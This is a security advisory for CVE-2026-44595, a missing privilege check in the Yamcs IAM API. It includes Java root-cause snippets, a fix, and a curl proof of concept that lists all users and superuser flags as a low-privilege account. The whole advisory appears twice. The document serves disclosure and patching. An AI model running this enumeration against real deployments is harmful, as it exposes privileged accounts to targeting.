CVE-2026-44595

Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.

Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.

Summary

The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.

This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372

listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:

// listUsers — NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
    var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
    // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
    for (User user : users) {
        UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
        responseb.addUsers(userb);
    }
}

Compare with properly protected endpoints:

// createUser — correctly protected
public void createUser(Context ctx, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present

Impact

Any authenticated user can:

1. List all user accounts in the system
2. Identify which accounts have superuser privileges
3. Use this information to target privileged accounts

Proof of Concept

# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=lowpriv&password=lowpriv123"

# Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
  -H "Authorization: Bearer $TOKEN" #paste access_token

Output (confirmed):

{
  "users": [
    { "name": "admin", "superuser": true, "active": true },
    { "name": "operator", "superuser": true, "active": true },
    { "name": "lowpriv", "superuser": false, "active": true }
  ]
}

Fix

Add ControlAccess check to listUsers, getUser, listGroups, getGroup:

public void listUsers(Context ctx, Empty request, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
    ...
}

Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.

Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.

Summary

The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.

This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372

listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:

// listUsers — NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
    var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
    // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
    for (User user : users) {
        UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
        responseb.addUsers(userb);
    }
}

Compare with properly protected endpoints:

// createUser — correctly protected
public void createUser(Context ctx, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present

Impact

Any authenticated user can:

1. List all user accounts in the system
2. Identify which accounts have superuser privileges
3. Use this information to target privileged accounts

Proof of Concept

# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=password&username=lowpriv&password=lowpriv123"

# Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
  -H "Authorization: Bearer $TOKEN" #paste access_token

Output (confirmed):

{
  "users": [
    { "name": "admin", "superuser": true, "active": true },
    { "name": "operator", "superuser": true, "active": true },
    { "name": "lowpriv", "superuser": false, "active": true }
  ]
}

Fix

Add ControlAccess check to listUsers, getUser, listGroups, getGroup:

public void listUsers(Context ctx, Empty request, ...) {
    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
    ...
}